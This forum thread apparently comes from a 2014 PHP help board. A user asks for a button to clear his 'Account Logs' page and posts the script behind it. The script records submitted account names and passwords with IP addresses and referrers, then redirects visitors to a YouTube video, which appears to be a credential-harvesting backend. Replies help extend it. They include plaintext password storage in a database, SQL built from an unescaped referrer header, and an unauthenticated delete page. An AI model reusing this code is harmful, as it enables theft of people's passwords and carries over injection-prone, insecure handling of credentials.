WKX Posted March 26, 2014 Share Posted March 26, 2014 I just want to create a "Delete All" button on my HTML page for my DATA logger, so I can delete all my tables, when there is alot of tables that have been created: Quote Link to comment Share on other sites More sharing options...
Ansego Posted March 26, 2014 Share Posted March 26, 2014 Hi Again ;-) Might want to dump your source code in so the guys can take a look or make a suggestion. Quote Link to comment Share on other sites More sharing options...
requinix Posted March 26, 2014 Share Posted March 26, 2014 You want to just... drop all the tables? What? Why are there so many and why oh why would you want to delete them? Quote Link to comment Share on other sites More sharing options...
mac_gyver Posted March 26, 2014 Share Posted March 26, 2014 your approach to this is backwards. you should be logging the raw information/data to a file/database and only output your nice html page when you want to display that data. to manipulate the information in any way, you would edit/delete the raw data, not the resulting html page produced from that data. Quote Link to comment Share on other sites More sharing options...
WKX Posted March 26, 2014 Author Share Posted March 26, 2014 (edited) Sorry I forgot to dump the source: I'm aware I could just erase the raw data in the .html file, but I just want to create an erase button if possible. Kind of like a clear form function, it will erase everything on submit. <?php $ref = $_SERVER['HTTP_REFERER']; $today = date("F j, Y, g:i a"); $ip = $_SERVER['REMOTE_ADDR']; if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); $pas = htmlspecialchars($pas, ENT_QUOTES); $content = "<center><table width='600' border='0' class='main-table' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center> <tr> <th>Information</th> <th>Account Data</th> </tr> <tr> <td>Date:</td> <td>" . $today . "</td> </tr> <tr> <td>Link:</td> <td>" . $ref . "</td> </tr> <tr> <td>IP:</td> <td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</td> </tr> <tr> <td>Account: </td> <td>" . $nam . "</td> </tr> <tr> <td>Password:</td> <td>" . $pas . "</td> </tr> </table>"; $filed = @fopen("logs.html", "a+"); @fwrite($filed, "$content\n\n"); @fclose($filed); } header('Location: http://www.youtube.com/watch?v=4fndeDfaWCg'); exit; ?> <!DOCTYPE html> <title>Account Logs</title> <html> <style type="text/css"> .main-table { background-color:#000000;border-collapse:collapse; } .main-table th { background-color:#008000;color:white; } .main-table td, .main-table th { padding:4px;border:1px solid #008000; } a:link {color:#00FF00;} /* unvisited link */ a:visited {color:#00FF00;} /* visited link */ a:hover {color:#7FE817;} /* mouse over link */ a:active {color:#00FF00;} /* selected link */ body {color:white;} font-family:Verdana, Arial, Helvetica, sans-serif; </STYLE> <body style="background-color:black;"> </body> </html> Edited March 26, 2014 by WKX Quote Link to comment Share on other sites More sharing options...
SitdGames Posted March 27, 2014 Share Posted March 27, 2014 To delete the file, and all data, just use the unlink() function. For example: unlink('logs.html'); This should delete the entire file, and then depending on your write option the file will be recreated with the next pass. Then, it's just a matter of adding a button or link to the small php script with the function with a header back to this page. If you wanted to be super-fancy about it, you could just use java, and then refresh the page with DHTML. However, if you wanted to keep some of the data on the file, you'll have to parse it and build iterators, and all that mess. Quote Link to comment Share on other sites More sharing options...
WKX Posted March 27, 2014 Author Share Posted March 27, 2014 Do you have any ideas, im stumped? Quote Link to comment Share on other sites More sharing options...
Psycho Posted March 27, 2014 Share Posted March 27, 2014 Put a form with a button on whatever page you want: <form action='deleteLog.php' method="POST"> <input type="submit" value="Delete Log"> </form> deleteLog.php file <?php unlink('logs.html'); ?> Of course that would have absolutely no security and request to deleteLog.php will delete the file. Quote Link to comment Share on other sites More sharing options...
WKX Posted March 27, 2014 Author Share Posted March 27, 2014 I just want to delete all the created tables in the logs.html, not the whole file. Quote Link to comment Share on other sites More sharing options...
WKX Posted March 27, 2014 Author Share Posted March 27, 2014 (edited) Something like this, this code will delete each row until the table is gone, but reappears on page refresh. Im looking to delete all created tables with one click. <button onclick="myFunction()">Try it</button> <script> function myFunction() { document.getElementById("main-table").deleteRow(0); } </script> Edited March 27, 2014 by WKX Quote Link to comment Share on other sites More sharing options...
mac_gyver Posted March 27, 2014 Share Posted March 27, 2014 (edited) your code above doesn't modify the file, only the rendering of the file in the browser. to do what you are asking for your current scheme would require that you open, read, and parse through the existing 'logs.html' file and only save the content up through the <body> tag back into the logs.html file (btw - your html is invalid because you are adding the <table>... data after the closing </body></html> tags) OR that you keep a starting 'template' file that you can copy over the logs.html file to 'reset' it. as stated previously in this thread, your approach is backwards, resulting in a lot of extra work to accomplish simple tasks. you really need to separate your data from your page design. store the raw data in a csv file or more properly in a database, then simply retrieve the data and output it in your html page when that page gets requested. to clear the data, all you do is clear the source where the raw data is stored. Edited March 27, 2014 by mac_gyver Quote Link to comment Share on other sites More sharing options...
WKX Posted March 27, 2014 Author Share Posted March 27, 2014 I really do not know how to do that, I will look into it Quote Link to comment Share on other sites More sharing options...
Psycho Posted March 27, 2014 Share Posted March 27, 2014 Well, let's start at the beginning. Where is the data coming from? Quote Link to comment Share on other sites More sharing options...
WKX Posted March 27, 2014 Author Share Posted March 27, 2014 The data? Well its generated from my php code then gets inserted into my .html file as a table Quote Link to comment Share on other sites More sharing options...
Psycho Posted March 28, 2014 Share Posted March 28, 2014 So the PHP code just spontaneously generates data? Let's start again. I *think* you are having the data submitted via a form by the user. OK, instead of taking that data, creating HTML and writing to a file you should instead save it to a database. It can be a little intimidating to get started but, honestly, once you start using a database that is when things get fun (at least I think so). You just have individual records, so you would only need one table. I can't really go over everything that you need to do to get started in a forum post, so go find a tutorial. But, I'll provide some basics for you based upon what I see above. First, you will create a table with the following fields: id: This will be an INT type field set to be auto-incremented. You will not need to set it as it will be set automatically. You will use this field to reference the records. date: this should be a timestamp field with a default value of NOW(). This way you never have to actually set it - it will be done automatically when you create the record referrer: This will be a varchar with a length big enough to hold whatever the longest value may be ip: This will be a varchar with a length of 15 characters account: This will be a varchar with a length big enough to hold whatever the longest value may be password: This will be a varchar with a length big enough to hold whatever the longest value may be Once the DB is set up you can then process a form post to insert the record into the database as follows. Note: the mysql_ functions have been deprecated, but I know them without having to check syntax. You'll want to use the mysqli_ functions instead. Just check the manual to check the differences mysql_connect('DB_URL', 'DB_UserName', 'DB_PassWord'); mysql_select_db('name_of_database'); $referrer = $_SERVER['HTTP_REFERER']; $ip = $_SERVER['REMOTE_ADDR']; $account= mysql_real_escape_string($_POST['name']); $password= mysql_real_escape_string($_POST['pass']); $query = "INSERT INTO table_name (referrer, ip, account, password) VALUES ('$referrer', '$ip', '$account', '$password')"; $result = mysql_query($query); That's just very, very basic code, but should get you started. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.